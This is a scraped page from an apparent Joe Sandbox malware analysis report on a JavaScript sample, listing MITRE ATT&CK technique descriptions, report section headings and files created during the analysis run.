Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 1637664207127019.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\665a3113-d256-48f5-98d8-90b83020d7f9.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.3160

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Windows Analysis Report
1637664207127019.js